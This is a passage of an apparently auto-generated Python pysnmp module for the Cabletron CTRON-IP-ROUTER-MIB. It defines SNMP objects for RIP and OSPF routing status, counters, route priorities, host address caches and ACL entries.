nw_ip_rip_rt_hops = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 5), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipRtHops.setStatus('mandatory')
nw_ip_rip_rt_age = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 6), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipRtAge.setStatus('mandatory')
nw_ip_rip_rt_type = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('other', 1), ('invalid', 2), ('direct', 3), ('remote', 4), ('static', 5), ('ospf', 6)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipRtType.setStatus('mandatory')
nw_ip_rip_rt_flags = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 8), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipRtFlags.setStatus('mandatory')
nw_ip_ospf_admin_status = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfAdminStatus.setStatus('mandatory')
nw_ip_ospf_oper_status = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3), ('pending-disable', 4), ('pending-enable', 5)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfOperStatus.setStatus('mandatory')
nw_ip_ospf_admin_reset = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('other', 1), ('reset', 2))).clone('other')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfAdminReset.setStatus('mandatory')
nw_ip_ospf_operational_time = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 4), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfOperationalTime.setStatus('mandatory')
nw_ip_ospf_version = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 5), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfVersion.setStatus('mandatory')
nw_ip_ospf_stack_size = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 6), integer32().clone(50000)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfStackSize.setStatus('mandatory')
nw_ip_ospf_thread_priority = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1, 7), integer32().clone(127)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfThreadPriority.setStatus('mandatory')
nw_ip_ospf_ctr_admin_status = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('enabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfCtrAdminStatus.setStatus('mandatory')
nw_ip_ospf_ctr_reset = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('other', 1), ('reset', 2))).clone('other')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfCtrReset.setStatus('mandatory')
nw_ip_ospf_ctr_operational_time = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 3), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfCtrOperationalTime.setStatus('mandatory')
nw_ip_ospf_ctr_in_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 4), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfCtrInPkts.setStatus('mandatory')
nw_ip_ospf_ctr_out_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 5), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfCtrOutPkts.setStatus('mandatory')
nw_ip_ospf_ctr_filtered_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 6), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfCtrFilteredPkts.setStatus('mandatory')
nw_ip_ospf_ctr_discard_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 7), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfCtrDiscardPkts.setStatus('mandatory')
nw_ip_ospf_ctr_in_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 8), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfCtrInBytes.setStatus('mandatory')
nw_ip_ospf_ctr_out_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 9), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfCtrOutBytes.setStatus('mandatory')
nw_ip_ospf_ctr_filtered_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 10), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfCtrFilteredBytes.setStatus('mandatory')
nw_ip_ospf_ctr_discard_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2, 11), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfCtrDiscardBytes.setStatus('mandatory')
nw_ip_ospf_if_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1))
if mibBuilder.loadTexts:
nwIpOspfIfTable.setStatus('mandatory')
nw_ip_ospf_if_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpOspfIfIndex'))
if mibBuilder.loadTexts:
nwIpOspfIfEntry.setStatus('mandatory')
nw_ip_ospf_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfIndex.setStatus('mandatory')
nw_ip_ospf_if_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfIfAdminStatus.setStatus('mandatory')
nw_ip_ospf_if_oper_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3), ('pending-disable', 4), ('pending-enable', 5)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfOperStatus.setStatus('mandatory')
nw_ip_ospf_if_operational_time = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 4), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfOperationalTime.setStatus('mandatory')
nw_ip_ospf_if_version = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 5), integer32().clone(1)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfIfVersion.setStatus('mandatory')
nw_ip_ospf_if_snooping = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfIfSnooping.setStatus('mandatory')
nw_ip_ospf_if_type = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('bma', 2), ('nbma', 3))).clone('bma')).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfType.setStatus('mandatory')
nw_ip_ospf_if_acl_identifier = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 8), integer32()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfIfAclIdentifier.setStatus('mandatory')
nw_ip_ospf_if_acl_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1, 1, 1, 9), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfIfAclStatus.setStatus('mandatory')
nw_ip_ospf_if_ctr_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1))
if mibBuilder.loadTexts:
nwIpOspfIfCtrTable.setStatus('mandatory')
nw_ip_ospf_if_ctr_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpOspfIfCtrIfIndex'))
if mibBuilder.loadTexts:
nwIpOspfIfCtrEntry.setStatus('mandatory')
nw_ip_ospf_if_ctr_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfCtrIfIndex.setStatus('mandatory')
nw_ip_ospf_if_ctr_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('enabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfIfCtrAdminStatus.setStatus('mandatory')
nw_ip_ospf_if_ctr_reset = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('other', 1), ('reset', 2))).clone('other')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfIfCtrReset.setStatus('mandatory')
nw_ip_ospf_if_ctr_operational_time = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 4), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfCtrOperationalTime.setStatus('mandatory')
nw_ip_ospf_if_ctr_in_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 5), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfCtrInPkts.setStatus('mandatory')
nw_ip_ospf_if_ctr_out_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 6), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfCtrOutPkts.setStatus('mandatory')
nw_ip_ospf_if_ctr_filtered_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 7), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfCtrFilteredPkts.setStatus('mandatory')
nw_ip_ospf_if_ctr_discard_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 8), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfCtrDiscardPkts.setStatus('mandatory')
nw_ip_ospf_if_ctr_in_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 9), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfCtrInBytes.setStatus('mandatory')
nw_ip_ospf_if_ctr_out_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 10), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfCtrOutBytes.setStatus('mandatory')
nw_ip_ospf_if_ctr_filtered_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 11), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfCtrFilteredBytes.setStatus('mandatory')
nw_ip_ospf_if_ctr_discard_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2, 1, 1, 12), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfIfCtrDiscardBytes.setStatus('mandatory')
nw_ip_rip_route_priority = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 1, 1), integer32().clone(16)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipRoutePriority.setStatus('mandatory')
nw_ip_ospf_route_priority = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 1, 2), integer32().clone(32)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOSPFRoutePriority.setStatus('mandatory')
nw_ip_static_route_priority = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 1, 3), integer32().clone(48)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpStaticRoutePriority.setStatus('mandatory')
nw_ip_ospf_forward = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfForward.setStatus('mandatory')
nw_ip_ospf_leak_all_static_routes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(2, 1))).clone(namedValues=named_values(('disabled', 2), ('enabled', 1)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfLeakAllStaticRoutes.setStatus('mandatory')
nw_ip_ospf_leak_all_rip_routes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 1, 3), integer32()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfLeakAllRipRoutes.setStatus('mandatory')
nw_ip_ospf_leak_all_bgp4_routes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 1, 4), integer32()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfLeakAllBgp4Routes.setStatus('mandatory')
nw_ip_ospf_static_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1))
if mibBuilder.loadTexts:
nwIpOspfStaticTable.setStatus('mandatory')
nw_ip_ospf_static_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpOspfStaticDest'), (0, 'CTRON-IP-ROUTER-MIB', 'nwIpOspfStaticForwardMask'), (0, 'CTRON-IP-ROUTER-MIB', 'nwIpOspfStaticNextHop'))
if mibBuilder.loadTexts:
nwIpOspfStaticEntry.setStatus('mandatory')
nw_ip_ospf_static_dest = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1, 1), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfStaticDest.setStatus('mandatory')
nw_ip_ospf_static_forward_mask = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1, 2), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfStaticForwardMask.setStatus('mandatory')
nw_ip_ospf_static_next_hop = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1, 3), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpOspfStaticNextHop.setStatus('mandatory')
nw_ip_ospf_static_metric = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1, 4), integer32()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfStaticMetric.setStatus('mandatory')
nw_ip_ospf_static_metric_type = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1, 5), integer32()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfStaticMetricType.setStatus('mandatory')
nw_ip_ospf_static_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 1, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('inactive', 1), ('active', 2), ('delete', 3)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpOspfStaticStatus.setStatus('mandatory')
nw_ip_ospf_dynamic_table = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 2))
nw_ip_ospf_rip_table = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 3))
nw_ip_ospf_bgp4_table = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2, 4))
nw_ip_hosts_time_to_live = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostsTimeToLive.setStatus('mandatory')
nw_ip_hosts_retry_count = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 1, 2), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostsRetryCount.setStatus('mandatory')
nw_ip_host_ctl_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1))
if mibBuilder.loadTexts:
nwIpHostCtlTable.setStatus('mandatory')
nw_ip_host_ctl_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpHostCtlIfIndex'))
if mibBuilder.loadTexts:
nwIpHostCtlEntry.setStatus('mandatory')
nw_ip_host_ctl_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostCtlIfIndex.setStatus('mandatory')
nw_ip_host_ctl_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disable', 2), ('enable', 3))).clone('enable')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpHostCtlAdminStatus.setStatus('mandatory')
nw_ip_host_ctl_oper_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3), ('pending-disable', 4), ('pending-enable', 5)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostCtlOperStatus.setStatus('mandatory')
nw_ip_host_ctl_operational_time = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 4), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostCtlOperationalTime.setStatus('mandatory')
nw_ip_host_ctl_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disable', 2), ('enable', 3))).clone('enable')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpHostCtlProtocol.setStatus('mandatory')
nw_ip_host_ctl_snooping = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disable', 2), ('enable', 3))).clone('disable')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpHostCtlSnooping.setStatus('mandatory')
nw_ip_host_ctl_proxy = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disable', 2), ('enable', 3))).clone('disable')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpHostCtlProxy.setStatus('mandatory')
nw_ip_host_ctl_cache_max = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 8), integer32().clone(1024)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpHostCtlCacheMax.setStatus('mandatory')
nw_ip_host_ctl_cache_size = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 9), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostCtlCacheSize.setStatus('mandatory')
nw_ip_host_ctl_num_statics = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 10), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostCtlNumStatics.setStatus('mandatory')
nw_ip_host_ctl_num_dynamics = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 11), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostCtlNumDynamics.setStatus('mandatory')
nw_ip_host_ctl_cache_hits = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 12), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostCtlCacheHits.setStatus('mandatory')
nw_ip_host_ctl_cache_misses = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2, 1, 1, 13), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostCtlCacheMisses.setStatus('mandatory')
nw_ip_host_map_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1))
if mibBuilder.loadTexts:
nwIpHostMapTable.setStatus('mandatory')
nw_ip_host_map_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpHostMapIfIndex'), (0, 'CTRON-IP-ROUTER-MIB', 'nwIpHostMapIpAddr'))
if mibBuilder.loadTexts:
nwIpHostMapEntry.setStatus('mandatory')
nw_ip_host_map_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostMapIfIndex.setStatus('mandatory')
nw_ip_host_map_ip_addr = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 2), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostMapIpAddr.setStatus('mandatory')
nw_ip_host_map_phys_addr = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 3), phys_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpHostMapPhysAddr.setStatus('mandatory')
nw_ip_host_map_type = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('other', 1), ('invalid', 2), ('dynamic', 3), ('static', 4), ('inactive', 5)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpHostMapType.setStatus('mandatory')
nw_ip_host_map_circuit_id = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 5), integer32()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpHostMapCircuitID.setStatus('mandatory')
nw_ip_host_map_framing = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 5, 7, 8, 9, 11, 14, 16, 17))).clone(namedValues=named_values(('other', 1), ('ethernet', 2), ('snap', 3), ('slip', 5), ('localtalk', 7), ('nativewan', 8), ('encapenet', 9), ('encapenetsnap', 11), ('encaptrsnap', 14), ('encapfddisnap', 16), ('canonical', 17)))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpHostMapFraming.setStatus('mandatory')
nw_ip_host_map_port_number = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3, 1, 1, 7), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpHostMapPortNumber.setStatus('mandatory')
nw_ip_acl_valid_entries = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 1), gauge32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpAclValidEntries.setStatus('mandatory')
